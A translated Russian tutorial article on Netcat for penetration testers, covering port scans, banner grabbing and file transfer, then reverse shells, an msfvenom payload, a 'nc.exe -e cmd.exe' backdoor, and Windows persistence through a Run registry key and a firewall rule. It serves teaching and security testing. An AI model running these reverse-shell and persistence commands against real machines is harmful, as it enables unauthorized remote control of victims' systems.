Возможности Netcat глазами пентестера

Дата: 12.08.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В этой статье пойдет речь об одной из наиболее часто используемых сетевых утилит Netcat. Читатели также узнают, как другие фреймворки усиливают ее для создания надежного сеанса.

Netcat (в речи специалистов еще используется сокращение «nc») – это сетевая утилита, которая применяет TCP и UDP соединения для чтения и записи в сети. Она может быть полезна как злоумышленникам, так и аудиторам безопасности.

Этот мультифункциональный инструмент может управлять скриптами, что делает его довольно надежным, если говорить о сфере безопасности. Он также поможет отладить и исследовать сеть.

Почему же Netcat настолько надежен, что может сделать все, будь то сканирование портов, захват баннеров, передача файлов или даже создание обратного соединения?

Настала пора проверить основные функции инструмента и ответить на этот вопрос.

  1. Он действует как простой клиент TCP / UDP / SCTP / SSL для взаимодействия с веб-серверами, серверами Telnet, почтовыми серверами и другими сетевыми службами TCP/IP.
  2. Инструмент также перенаправляет трафик TCP / UDP / SCTP на другие порты или хосты, действуя как Socks или HTTP-прокси, так что клиенты могут иметь свои собственные пункты назначения.
  3. Netcat может подключаться к адресатам через цепочку анонимных или аутентифицированных прокси-серверов.
  4. Он способен зашифровать связь с помощью SSL и передать данные по протоколу IPv4 или IPv6.
  5. Инструмент действует как посредник соединения, позволяя двум (или гораздо большему количеству) клиентам соединяться друг с другом через третий (посреднический) сервер.

Так что до сих пор люди, возможно, не знают обо всех функциях Netcat, что делает его уникальной утилитой.

Стоит попробовать копнуть поглубже и исследовать, что человек можем осуществить с помощью этого замечательного инструмента.

Базовая команда Netcat

«Help» или иногда «h», она поможет понять все возможности, которыми обладает инструмент. Чтобы начать работу с Netcat, пользователь введет самую простую команду справки, т.е.:

nc -h

Сканирование порта

Netcat может быть использован в качестве сканера портов, хотя он и не был предназначен сперва для выполнения такой функции. Чтобы превратить его в сканер, нужно установить флаг “-z”, с которым связан Netcat для сканирования listing daemon без отправки каких-либо данных. Это позволяет понять тип службы, работающей на этом конкретном порту. Таким образом, Netcat может выполнять как TCP, так и UDP сканирование. Нужно это еще раз проверить:

TCP Scan

nc -v –n –z 192.168.1.105 21-100
  • [-v]: указывает на подробный режим
  • [-n]: указывает только на числовые IP-адреса
  • [-z]: указывает на нулевой режим ввода-вывода [используется для сканирования]

Для завершения этого сканирования необходимо указать диапазон портов. На приведенном ниже изображении можно увидеть, что был установлен диапазон портов 21-100, в котором и будут сбрасываться запущенные службы на целевую машину.

UDP Scan

Есть возможность даже сканировать UDP-порты таким же образом, как пользователь сканировал TCP-порты. Здесь он будет использовать флаг [-u], который вызовет режим UDP.

nc –vzu 192.168.1.105 161

В этом сценарии будет упомянут номер порта, а не диапазон. На приведенном ниже изображении можно увидеть, что пользователь захватил запущенную службу “snmp”.

Общение

Netcat также можно использовать для общения двух пользователей. Но перед этим нужно установить связь. Чтобы настроить все, что необходимо, стоит использовать два устройства – одно будет играть роль инициатора, а другое – слушателя. Как только это соединение будет установлено, связь может осуществляться с обоих концов.

Следует рассмотреть такой сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.

Первоначально пользователь root kali должен настроить свой netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполняется следующая команда:

nc –lvp 1234
  • [l]: режим прослушивания
  • [v]: подробный режим
  • [p]: локальный порт

Теперь пришло время настроить инициатор, пользователь будет делать это от корневого пользователя Ubuntu, просто указав IP-адрес системы, в которой был запущен листенер, а затем – и сам номер порта.

nc 192.168.1.109 1234

На приведенном ниже изображении можно увидеть, что соединение было установлено и настроено, и теперь обе машины могут общаться друг с другом.

Захват баннера

Баннер – это текстовое сообщение, полученное от хоста с информацией об открытых портах и сервисах вместе с номерами их версий.

Необходимо выполнить следующую команду, чтобы захватить целевые ftp-и ssh-баннеры:

nc 192.168.1.105 21
nc 192.168.1.105 22

Передача файлов

Netcat предоставляет пользователям возможность передавать файлы с одного устройства на другое по сети.

Стоит рассмотреть такой сценарий, в котором пользователю kali нет необходимости передавать свои файлы пользователю на машине Ubuntu.

На приведенном ниже изображении человек с помощью kali устанавливает листенер на порту номер 5555 и совместно использует файл .txt с применением параметра “<“.

nc –lvp 5555 < file.txt

Теперь пользователь, находящийся на сервере Ubuntu, загрузит этот файл, выполнив следующую команду.

nc 192.168.1.109 5555 > file.txt

На приведенном ниже изображении пользователь может увидеть, что юзер Ubuntu успешно захватил файл .txt от 192.168.1.109, который является ничем иным как IP пользователя kali.

Linux Reverse Shell

Как говорилось ранее, Netcat может выполнять все, что угодно человеку, поэтому теперь он попытается использовать целевую машину с помощью “msfvenom” для создания полезной нагрузки и настроит листенер для захвата сеанса.

Пора попробовать создать полезную нагрузку с помощью следующей команды:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R

Флаг “R” используется для генерации необработанной полезной нагрузки, которая будет находиться над экраном.

На приведенном выше изображении пользователь может увидеть, что полезная нагрузка создана, теперь пришло время запустить ее через сервер жертвы.

Нужно открыть компьютер Ubuntu и ввести эту полезную нагрузку в терминал. Прежде чем запустить его, следует вернуться к машине злоумышленника (kali Linux) и настроить листенер Netcat там, используя тот же номер порта, который был применен при создании полезной нагрузки.

На приведенном выше изображении пользователь может увидеть, что, как только жертва запускает полезную нагрузку, сеанс получен.

Есть много случаев, когда безопасность находится на высоком уровне, и человек не может захватить сеанс с помощью этого метода, но есть и другой способ получить реверсивный shell.

Перед этим стоит настроить листенер netcat на порту 443:

Как только он загрузится, надо просто выполнить следующие команды на целевой машине:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe

Это поможет обойти систему безопасности и сохранить сеанс netcat.

На приведенном изображении пользователь может увидеть, что shell был успешно захвачен.

Рандомизированный порт

Есть некая вероятность, что пользователь не сможет выбрать собственный порт для установки листенера или получить соединение netcat. Однако у netcat есть специальный флаг «r», который предоставит человеку рандомизированный локальный порт.

nc -lv –r

На приведенном ниже изображении можно увидеть, что листенер был запущен (38931).

Захват HTTP-баннера

HTTP-баннеры теперь могут быть извлечены только с трудом, так как они содержат информацию о сервере. Однако пользователь может использовать netcat для сбора информации о любом веб-сервере.

Ему нужно просто выполнить следующую команду, чтобы манипулировать сервером цели и проверить, что он захватил.

printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80

Отлично!! На приведенном ниже изображении можно увидеть, что пользователь успешно захватил HTTP-баннер, и был задействован сервер Apache.

Windows Reverse Connection

Бэкдор системы приветствует пользователя каждый раз, когда включается защита.

Таким образом, пользователь попытается создать такой же бэкдор для Windows, который позволит войти в нее в любое время, когда он захочет.

Сперва необходимо установить листенер на kali.

nc –lvp 4444

Теперь выполнить следующую команду в командной строке Windows жертвы, чтобы создать бэкдор.

nc.exe 192.168.1.109 4444 -e cmd.exe

Пора возвращаться к машине нападающего. На приведенном ниже изображении можно увидеть, что человек находится в командном shell жертвы.

Персистентность Windows 10

Персистентность играет важную роль в жизни хакера. Итак, стоит попробовать создать постоянный бэкдор с помощью Netcat и Metasploit Framework на машине, которая была скомпрометирована.

На приведенном ниже изображении можно увидеть, что пользователь захватил сеанс meterpreter машины Windows 10.

Теперь он загрузит netcat.exe файл в system32 на компьютере жертвы с помощью следующей команды:

upload /usr/share/windows-binaries/nc.exe C:\windows\system32

После этого он настроит netcat на листенер в любом случайном порту, скажем 4445, откроет порт при запуске и установит соединение.

Надо использовать следующую команду:

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

При успешном подключении Netcat пользователь получит reverse_shell компьютера жертвы.

Теперь пришло время добавить новое правило к брандмауэру с именем “netcat”, в котором входящее соединение будет позволять использовать порт 4445 с помощью интерактивной командной строки cmd, выполняющей команду под названием netsh.

Пользователь вводит следующую команду:

netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

Пора проверить рабочий режим и состояние порта, выполнив следующую команду:

netsh firewall show portopening

Так что со всем этим покончено. Теперь, когда жертва перезагружает систему снова, пользователь вновь получит shell. Надо выполнить следующую команду, чтобы подключить бэкдор netcat по порту 4445.

nc -nv 192.168.1.105 4445

Отлично!! Пользователь успешно сохранил постоянный бэкдор, теперь всякий раз, когда жертва загружает систему, у него всегда будет установлен с ней сеанс.

Полезная нагрузка Msfvenom с помощью Netcat

До сих пор читатель изучал все о Netcat: от его основных функций до продвинутых возможностей. Итак, пора узнать, как пользователь может связаться с жертвой через Netcat_shell, используя полезную нагрузку msfvenom.

Следует запустить терминал и выполнить следующую команду для генерации файла .exe полезной нагрузки.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 –f exe > shell.exe

Теперь стоит запустить листенер Netcat по порту 3333.

Пользователь поделится этой сгенерированной полезной нагрузкой с жертвой, как только он/она откроет ее, он получит обратное соединение.

Автор переведенной статьи: Chiragh Arora.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *